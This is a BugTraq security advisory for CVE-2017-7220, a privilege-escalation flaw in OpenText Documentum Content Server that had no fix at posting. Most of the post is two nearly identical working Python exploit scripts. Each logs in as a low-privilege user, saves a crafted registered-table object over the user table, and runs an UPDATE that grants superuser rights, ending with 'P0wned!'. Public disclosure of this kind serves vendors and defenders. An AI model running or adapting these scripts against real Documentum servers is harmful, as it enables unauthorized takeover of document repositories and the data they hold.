BugTraq
CVE-2017-7220. OpenText Documentum Content Server: privilege evaluation using crafted RPC save-commands. Apr 19 2017 01:18PM
Andrey B. Panfilov (andrew panfilov tel)
CVE Identifier: CVE-2017-7220
Vendor: OpenText
Affected products: OpenText Documentum Content Server (all versions)
Researcher: Andrey B. Panfilov
Severity Rating: CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Fix: not available
PoC:

https://gist.github.com/andreybpanfilov/d8792484e13971982c0719ae59ab8c7c

https://gist.github.com/andreybpanfilov/e0e60ae9d525a34cca04eb4c89a21e04

Description:

Initially this vulnerability was discovered in 2013 and was tracked by CERT/CC as VRF#HUFG9EBA (https://www.kb.cert.org/vuls/id/315340), vendor had undertaken a couple of attempts to remediate security flaw (see CVE-2014-2514 and http://seclists.org/bugtraq/2015/Aug/111 for complete description), but all of them was wrong. The issue still persists in all versions of Documentum Content Server.

__
Regards,
Andrey B. Panfilov

#!/usr/bin/env python

import socket
import sys
from os.path import basename

from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject

CIPHERS = "ALL:aNULL:!eNULL"

def usage():
print "usage:\n\t%s host port user password" % basename(sys.argv[0])

def main():
if len(sys.argv) != 5:
usage()
exit(1)

print "Trying to connect to %s:%s as %s ..." % (sys.argv[1], sys.argv[2], sys.argv[3])
(session, docbase) = create_session(*sys.argv[1:5])

if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)

print "Acquiring ID for malicious object ..."
id = session.next_id(25)
print "Acquired %s\nTrying to create following malicious object:" % id
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "DM_REGISTERED")
obj.set_bool("IS_NEW_OBJECT", True)
obj.set_int("i_vstamp", 0)
obj.set_string("table_name", "dm_user_s")
obj.set_string("table_owner", docbase)
obj.set_string("owner_name", docbase)
obj.set_int("world_permit", 7)
obj.set_string("object_name", "dm_user_s")
obj.set_string("r_object_type", "dm_registered")
obj.set_int("owner_table_permit", 15)
obj.set_int("group_table_permit", 15)
obj.set_int("world_table_permit", 15)
print obj.dump()
r = session.sys_obj_save(id, obj)
if not r:
print "Failed"
exit(1)
print "Becoming superuser..."
r = session.query(
"UPDATE dm_dbo.dm_user_s SET user_privileges=16 "
"WHERE user_name=USER") .next_record()['rows_updated']
if r != 1:
print "Failed"
exit(1)
print "P0wned!"

def create_session(host, port, user, pwd, identity=None):
print "Trying to connect to %s:%s as %s ..." % (host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % (host, port, docbase, version)
return (session, docbase)

def is_super_user(session):
user = session.get_by_qualification(
"dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True

return False

if __name__ == '__main__':
main()
#!/usr/bin/env python

import socket
import sys
from os.path import basename

from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject

CIPHERS = "ALL:aNULL:!eNULL"

def usage():
print "usage:\n\t%s host port user password" % basename(sys.argv[0])

def main():
if len(sys.argv) != 5:
usage()
exit(1)

print "Trying to connect to %s:%s as %s ..." % (sys.argv[1], sys.argv[2], sys.argv[3])
(session, docbase) = create_session(*sys.argv[1:5])

if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)

print "Acquiring ID for malicious object ..."
id = session.next_id(0x00)
print "Acquired %s\nTrying to create following malicious object:" % id
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "dm_registered")
obj.set_bool("IS_NEW_OBJECT", True)
obj.set_int("i_vstamp", 0)
obj.set_string("table_name", "dm_user_s")
obj.set_string("table_owner", docbase)
obj.set_string("owner_name", docbase)
obj.set_int("world_permit", 7)
obj.set_string("object_name", "dm_user_s")
obj.set_string("r_object_type", "dm_registered")
obj.set_int("owner_table_permit", 15)
obj.set_int("group_table_permit", 15)
obj.set_int("world_table_permit", 15)
print obj.dump()
if not session.save(id, obj):
print "Failed"
exit(1)
print "Becoming superuser..."
r = session.query(
"UPDATE dm_dbo.dm_user_s SET "
"user_privileges=16 WHERE user_name=USER") .next_record()[
'rows_updated']
if r != 1:
print "Failed"
exit(1)
print "P0wned!"

def create_session(host, port, user, pwd, identity=None):
print "Trying to connect to %s:%s as %s ..." % (host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % (host, port, docbase, version)
return (session, docbase)

def is_super_user(session):
user = session.get_by_qualification(
"dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True

return False

if __name__ == '__main__':
main()

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus